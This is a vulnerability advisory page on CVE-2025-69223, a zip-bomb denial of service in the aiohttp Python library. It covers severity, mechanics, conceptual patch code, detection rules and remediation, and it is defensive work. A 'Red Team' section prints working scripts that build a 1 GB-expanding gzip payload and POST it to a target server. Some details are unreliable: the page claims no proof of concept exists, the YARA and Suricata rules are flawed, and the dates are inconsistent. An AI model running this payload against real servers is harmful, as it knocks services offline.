CVE-2025-69223
Executive Summary
CVE-2025-69223 is a high-severity Denial of Service (DoS) vulnerability in the AIOHTTP library, an asynchronous HTTP client/server framework for Python. Versions 3.13.2 and below are susceptible to a zip bomb attack. An attacker can send a specially crafted, highly compressed HTTP request body. When AIOHTTP decompresses this request, it can expand to an enormous size, exhausting the host's memory and causing a denial of service. The vulnerability has a CVSS score of 7.5 and is fixed in version 3.13.3. No public proof-of-concept code or exploit templates are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the AIOHTTP Python package, which is widely used in the Python ecosystem for building asynchronous web applications and APIs. Organizations using AIOHTTP in their supply chain should immediately assess their dependency versions. The package is distributed via PyPI, and the fix is available in version 3.13.3. A compromised or vulnerable version of AIOHTTP can lead to service disruption, impacting downstream applications and services that rely on it.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
- Privileges Required (PR): None (N) - The attacker does not need any authentication or privileges.
- User Interaction (UI): None (N) - No user action is required for exploitation.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) - No data is exposed.
- Integrity (I): None (N) - No data is modified.
- Availability (A): High (H) - The primary impact is on availability, leading to a complete denial of service.
Threat Level: High. The low attack complexity and network-based vector make this a significant threat for any publicly accessible AIOHTTP server.
Deep Dive & Mechanics
The vulnerability lies in how AIOHTTP handles decompression of HTTP request bodies. The library supports Content-Encoding: gzip or deflate to allow clients to send compressed data. The flaw is that AIOHTTP does not enforce any limits on the decompression ratio or the final decompressed size.
A zip bomb (or decompression bomb) is a malicious archive file designed to crash or harm the system that reads it. It achieves this by containing a small amount of highly compressed data that, when decompressed, expands to an enormous size. For example, a few kilobytes of compressed data can expand to gigabytes or terabytes of data.
An attacker sends an HTTP request with a Content-Encoding: gzip header and a body that is a zip bomb. When AIOHTTP's server receives this request, it attempts to decompress the body. The decompression process allocates memory for the expanded data. Since there is no limit, the process will continue to allocate memory until the host's available memory is exhausted, causing the application to crash or become unresponsive (DoS).
The fix in version 3.13.3 likely introduces a maximum decompression ratio or a maximum decompressed size limit, preventing the decompression of such malicious payloads.
Vulnerable vs. Patched Code
The vulnerable code path is within the request body decompression logic. While the exact code is not publicly disclosed, the concept is as follows:
Vulnerable Code (Conceptual):
# In aiohttp/web_request.py or similar
async def read(self):
body = await super().read()
if self.headers.get('Content-Encoding') == 'gzip':
import gzip
body = gzip.decompress(body) # No size limit
return body
Patched Code (Conceptual):
# In aiohttp/web_request.py or similar
MAX_DECOMPRESSED_SIZE = 100 * 1024 * 1024 # 100 MB limit
async def read(self):
body = await super().read()
if self.headers.get('Content-Encoding') == 'gzip':
import gzip
decompressor = gzip.decompressobj()
# Decompress in chunks and check size
decompressed = b''
for chunk in [body[i:i+8192] for i in range(0, len(body), 8192)]:
decompressed += decompressor.decompress(chunk)
if len(decompressed) > MAX_DECOMPRESSED_SIZE:
raise ValueError("Decompressed body too large")
decompressed += decompressor.flush()
body = decompressed
return body
Exploitation & Lab Setup
Red Team
Objective: Execute a Denial of Service attack against an AIOHTTP server.
Prerequisites:
- A target AIOHTTP server (version <= 3.13.2) that accepts POST requests with compressed bodies.
- Python 3 with
requestslibrary installed.
Steps:
Create a Zip Bomb Payload: Create a file that is highly compressed. A simple way is to use a file with many null bytes compressed with gzip.
# create_payload.py import gzip import os # Create a payload that expands to 1 GB decompressed_size = 1 * 1024 * 1024 * 1024 # 1 GB # We'll create a small compressed payload that expands to this size # A simple approach: compress a large block of zeros data = b'\x00' * decompressed_size compressed = gzip.compress(data) print(f"Compressed size: {len(compressed)} bytes") with open('payload.gz', 'wb') as f: f.write(compressed)Send the Malicious Request: Use the
requestslibrary to send the payload.# exploit.py import requests url = "http://target-server.com/endpoint" with open('payload.gz', 'rb') as f: payload = f.read() headers = { 'Content-Encoding': 'gzip', 'Content-Type': 'application/octet-stream' } print("Sending zip bomb...") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"Response: {response.status_code}") except requests.exceptions.Timeout: print("Server timed out - likely crashed or unresponsive.") except Exception as e: print(f"Error: {e}")
Expected Outcome: The target server's memory will be exhausted, causing the AIOHTTP process to crash or become unresponsive. The attacker may receive a timeout or connection reset.
Blue Team
Objective: Detect and mitigate zip bomb attacks against AIOHTTP servers.
Detection:
- Monitor Memory Usage: Set up alerts for sudden spikes in memory usage on servers running AIOHTTP.
- Network Traffic Analysis: Look for HTTP requests with
Content-Encoding: gzipand unusually small body sizes (e.g., < 1 KB) that result in large decompressed data. - Log Analysis: Check server logs for errors related to memory allocation failures or decompression errors.
Mitigation:
- Update AIOHTTP: Immediately upgrade to version 3.13.3 or later.
- Web Application Firewall (WAF): Deploy WAF rules to block requests with suspicious
Content-Encodingheaders and small body sizes. - Rate Limiting: Implement rate limiting on endpoints that accept compressed data.
- Resource Limits: Use containerization (e.g., Docker) with memory limits to prevent a single process from exhausting host memory.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests with
Content-Encoding: gzipand a body size less than 1 KB. - Unusually high memory usage on the server.
- Server logs showing
MemoryErrororgzip.DecompressError.
- HTTP POST requests with
- File IOCs:
- Files named
payload.gzor similar with a high compression ratio (e.g., 1 GB decompressed from 1 KB compressed).
- Files named
- System IOCs:
- AIOHTTP process crash logs.
- Out-of-memory (OOM) killer events in system logs.
Detection Engineering
YARA Rule
rule ZipBomb_AIOHTTP_Request {
meta:
description = "Detects HTTP requests with small gzip payloads indicative of a zip bomb attack against AIOHTTP"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69223"
strings:
$gzip_header = "Content-Encoding: gzip"
$small_body = { 00 00 00 00 } // Placeholder for small body size check
condition:
$gzip_header and filesize < 1KB
}
Sigma Rule
title: AIOHTTP Zip Bomb DoS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with small gzip-compressed bodies that may be a zip bomb targeting AIOHTTP
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: aiohttp
detection:
selection:
cs-method: 'POST'
cs-Content-Encoding: 'gzip'
sc-bytes: < 1024
condition: selection
falsepositives:
- Legitimate small compressed requests
level: high
Suricata Rule
alert http any any -> any any (msg:"AIOHTTP Zip Bomb DoS Attempt"; flow:to_server; content:"Content-Encoding|3a| gzip"; http_header; content!"Content-Length|3a|"; pcre:"/^Content-Length:\s*\d{1,3}\s*$/m"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Action:
- Upgrade AIOHTTP to version 3.13.3 or later.
pip install aiohttp --upgrade
Short-Term Mitigations:
- If upgrading is not immediately possible, implement a reverse proxy (e.g., Nginx) that limits request body size and rejects suspicious
Content-Encodingheaders. - Configure memory limits for the AIOHTTP process using
ulimitor container orchestration tools.
- If upgrading is not immediately possible, implement a reverse proxy (e.g., Nginx) that limits request body size and rejects suspicious
Long-Term Recommendations:
- Regularly update dependencies and monitor for security advisories.
- Implement input validation and size limits for all decompressed data.
- Use a Web Application Firewall (WAF) to filter malicious requests.
- Conduct regular security audits and penetration testing.
Valters IT